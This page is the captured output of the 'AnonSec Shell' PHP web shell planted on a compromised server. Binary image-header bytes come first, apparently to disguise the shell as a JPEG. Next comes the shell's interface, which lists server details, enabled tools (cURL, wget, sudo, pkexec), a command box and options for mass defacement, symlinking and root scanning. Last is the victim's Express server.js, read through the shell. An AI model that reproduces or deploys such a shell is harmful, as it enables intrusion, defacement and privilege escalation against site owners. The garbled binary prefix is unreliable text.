JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 172.67.142.142  /  Your IP : 104.23.243.117   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/comcon24/cms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/comcon24/cms/server.js
require("rootpath")();
require("dotenv").config();
const express = require("express");
const app = express();
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const cors = require("cors");
const helmet = require("helmet");
const errorHandler = require("server/src/middleware/error-handler");
const path = require("path");
// const rateLimit = require("express-rate-limit");

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(
  helmet({
    contentSecurityPolicy: false,
  })
);
// app.use(express.static('uploads'))

// allow cors requests from any origin and with credentials
app.use(
  cors({
    origin: (origin, callback) => callback(null, true),
    credentials: true,
  })
);

// const limiter = rateLimit({
//     windowMs: 1 * 60 * 1000, // 1 minutes
//     max: 100 // limit each IP to 100 requests per windowMs
// });
// app.use(limiter);

//migrate
let do_sequelize = () => {
  console.log("do sequelize...");
  let migrationStatus = "";
  const { execSync } = require("child_process");
  try {
    let stdout = execSync(`sequelize db:migrate`);
    execSync(`sequelize db:seed:all`);
    migrationStatus = stdout
      .toString("utf-8")
      .replace(//g, "")
      .replace(/\[24m/g, "")
      .replace(/\[31m/g, "")
      .replace(/\[39m/g, "")
      .replace(/\[4m/g, "")
      .replace(/\r?\n/g, "\n");
  } catch (pwdError) {
    migrationStatus = pwdError
      .toString("utf-8")
      .replace(//g, "")
      .replace(/\[24m/g, "")
      .replace(/\[31m/g, "")
      .replace(/\[39m/g, "")
      .replace(/\[4m/g, "")
      .replace(/\r?\n/g, "\n");
  }
  console.log(migrationStatus);
  return;
};
if (process.env.NODE_ENV === "production") {
  do_sequelize();
}
// api routes cores
app.use(
  "/api/core/uploads",
  require("server/src/modules/core/uploads/upload.controller")
);
app.use(
  "/api/core/accounts",
  require("server/src/modules/core/accounts/account.controller")
);
app.use(
  "/api/core/users",
  require("server/src/modules/core/users/user.controller")
);
app.use(
  "/api/core/roles",
  require("server/src/modules/core/roles/role.controller")
);
app.use(
  "/api/core/access",
  require("server/src/modules/core/access/access.controller")
);
app.use(
  "/api/core/members",
  require("server/src/modules/core/members/members.controller")
);
app.use(
  "/api/core/feeds",
  require("server/src/modules/core/feeds/feeds.controller")
);
app.use(
  "/api/core/qrcode",
  require("server/src/modules/core/qrcode/qrcode.controller")
);
app.use(
  "/api/core/schedule",
  require("server/src/modules/core/schedule/schedule.controller")
);
app.use(
  "/api/core/banner",
  require("server/src/modules/core/banner/banner.controller")
);
app.use(
  "/api/core/leaderboard",
  require("server/src/modules/core/leaderboard/leaderboard.controller")
);
app.use(
  "/api/core/notifications",
  require("server/src/modules/core/notifications/notifications.controller")
);
app.use(
  "/api/core/question",
  require("server/src/modules/core/question/question.controller")
);

app.use(
  "/api/core/setting",
  require("server/src/modules/core/setting/setting.controller")
);

// api routes public
app.use(
  "/v1/auth",
  require("server/src/modules/public/v1/auth/auth.controller")
);
app.use(
  "/v1/content",
  require("server/src/modules/public/v1/content/content.controller")
);
app.use(
  "/v1/booking",
  require("server/src/modules/public/v1/booking/booking.controller")
);

//All routes
app.use(express.static("build"));
app.use("/", require("server/src/helpers/404"));

// global error handler
app.use(errorHandler);

// start server
const port = process.env.PORT || 4000;
app.listen(port, () => console.log("Server listening on port " + port));

Anon7 - 2022
AnonSec Team